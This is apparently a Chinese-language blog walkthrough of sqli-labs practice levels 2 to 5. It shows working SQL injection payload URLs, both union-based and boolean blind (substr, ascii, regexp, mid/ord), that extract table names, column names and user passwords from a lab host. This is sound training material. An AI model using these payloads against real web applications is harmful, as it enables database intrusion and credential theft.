sqli-labs 2-5 初识盲注

发布 : 2019-03-26

Less-2

地址

在数字后加单引号报错You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

‘’ LIMIT 0,1’说明但单引号破坏了查询语句的平衡,可以推测出使用的是整数

Select * from TABLE where id = (some integer value);

所以对id没有任何处理,所以可以注入成功的有 or 1=1 或者or 1=1 --+

因此只需要将less1中的单引号去掉即可,同样使用sqlmap时,各项的命令的相同。

Less-3

地址

数字后加单引号

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1

‘’1’’) LIMIT 0,1’说明使用的是 SELECT * FROMusers WHERE id=('$id') LIMIT 0,1这种查询方式

所以可以注入的有

1
2
') or '1'=('1'
) or 1=1 --+

注入方式就是将less-1中的单引号改为 ')

过程简单写

1
2
3
4
5
6
http://43.247.91.228:84/Less-3/?id=0 ')  order by 3 --+    #查询列数
http://43.247.91.228:84/Less-3/?id=0 ') union select 1,database(),version() --+
# 查询数据库版本和数据库名字
http://43.247.91.228:84/Less-3/?id=0 ') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+    #查询数据库的表
http://43.247.91.228:84/Less-3/?id=0 ') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+ #查询users表中的列名
http://43.247.91.228:84/Less-3/?id=0 ') union select 1,group_concat(id,'-',username,'-',password),3 from users --+ #爆出所有数据

使用sqlmap时,各项的命令的相同。

Less-4

地址

数字后加单引号不报错,加双引号报错

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1

根据‘“1””) LIMIT 0,1’ 推测使用") --+ 闭合和注释

查询源码,使用的查询语句为

$sql="SELECT * FROMusers WHERE id=(“$id”) LIMIT 0,1";

将less-1中构造的注入语句中的单引号改为 ")就可以

使用sqlmap时,各项的命令的相同。

Less-5

地址

这一关开始接触盲注,首先了解一下什么是盲注

何为盲注?盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。从background-1中,我们可以知道盲注分为三类

  • 基于布尔SQL盲注
  • 基于时间的SQL盲注
  • 基于报错的SQL盲注

这一关中当数据库命令执行出错时,只返回 you are in....

http://43.247.91.228:84/Less-5/?id=0页面不正常,未出现you are in ...

加上单引号 http://43.247.91.228:84/Less-5/?id=0 ' or 1=1 --+ 恢复正常

所以推测数据库查询语句和第一关一样 ,只要闭合单引号就可以

使用length()函数会返回相应字段的长度

构造语句查询数据库的长度

http://43.247.91.228:84/Less-5/?id=1 ' and length(database())>7 --+不断增加后面的数字,直到页面出现变化,判定出数据库名字的长度为8

下面开始猜每一位具体是什么

1
2
3
4
5
http://43.247.91.228:84/Less-5/?id=1 ' and left(database(),1)>'a'  --+正常    

http://43.247.91.228:84/Less-5/?id=1 ' and left(database(),1)<'z' --+ 正常
http://43.247.91.228:84/Less-5/?id=1 ' and left(database(),1)<'m' --+ 错误
...

这样猜下去就能得到每一位的值,但是太麻烦。可以用脚本判断,或者直接用sqlmap

猜解名字还可以使用 substr() ascii()函数进行尝试,这里使用它们来获得security数据库下的表名

1
2
3
4
5
http://43.247.91.228:84/Less-5/?id=1 ' and  ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>90 --+#页面正常
http://43.247.91.228:84/Less-5/?id=1 ' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>120 --+#异常
http://43.247.91.228:84/Less-5/?id=1 ' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100 --+#正常
http://43.247.91.228:84/Less-5/?id=1 ' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))<110 --+#正常
....

这样使用二分法猜解下去,最后得到第一个值为 ‘e’,然后修改 limit 0,1),1,1) 中倒数第二个1的数值,来猜解第一个表名的每一位,修改 limit后面的那个0,来确定不同的表,这样依次猜解下去就得到了所有的表名。

下面猜解列名,使用regexp正则表达式进行查询

1
http://43.247.91.228:84/Less-5/?id=1 ' and  1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)  --+# 页面正常

同样,将username改成passwordid也对,这里可以使用正则表达式来猜解列名,这里只是说明原理,具体操作可以使用工具或者自己写脚本。

MID()函数

SQL MID() 函数用于得到一个字符串的一部分。这个函数被MySQL支持,但不被MS SQL Server和Oracle支持。在SQL Server, Oracle 数据库中,我们可以使用 SQL SUBSTRING函数或者 SQL SUBSTR函数作为替代。

ORD() 函数

ORD() 函数返回字符串第一个字符的 ASCII 值。

语法: ORD(string)

接下来使用mid()函数ord()函数来获得users表中的内容,获得username中的第一行的第一个字符,

1
http://43.247.91.228:84/Less-5/?id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68 --+

就使用这样的语句,修改相应的值,不断重复,最后就获得了所有的值。

因为比较简单,这里使用sqlmap还是和之前一个样。

本文作者 : W4rnIn9
原文链接 : http://joner11234.github.io/article/cde68b77.html
版权声明 : 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明出处!